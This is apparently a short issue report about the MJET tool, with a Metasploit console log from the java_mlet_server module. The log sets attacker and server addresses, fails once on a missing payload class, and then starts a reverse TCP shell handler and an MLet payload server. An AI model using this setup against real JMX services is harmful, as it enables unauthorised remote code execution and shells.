javax.naming.NameNotFoundException about mjet

[sevck]

msf is work. run jar is error.

msf exploit(java_mlet_server) > set LHOST 192.168.197.75
LHOST => 192.168.197.75
msf exploit(java_mlet_server) > set SRVHOST 192.168.197.75
SRVHOST => 192.168.197.75
msf exploit(java_mlet_server) > set URIPATH /mlet/
URIPATH => /mlet/
msf exploit(java_mlet_server) > run
WARNING: Local file /usr/share/metasploit-framework/data/java is being used
WARNING: Local files may be incompatible with the Metasploit Framework

[-] Exploit failed: No such file or directory @ rb_sysopen - /usr/share/metasploit-framework/data/java/metasploit/Payload.class
msf exploit(java_mlet_server) > run
[*] Exploit running as background job.

[] Started reverse TCP handler on 192.168.197.75:4444
msf exploit(java_mlet_server) > [] Using URL: http://192.168.197.75:8080/mlet/
[*] Server started.
msf exploit(java_mlet_server) >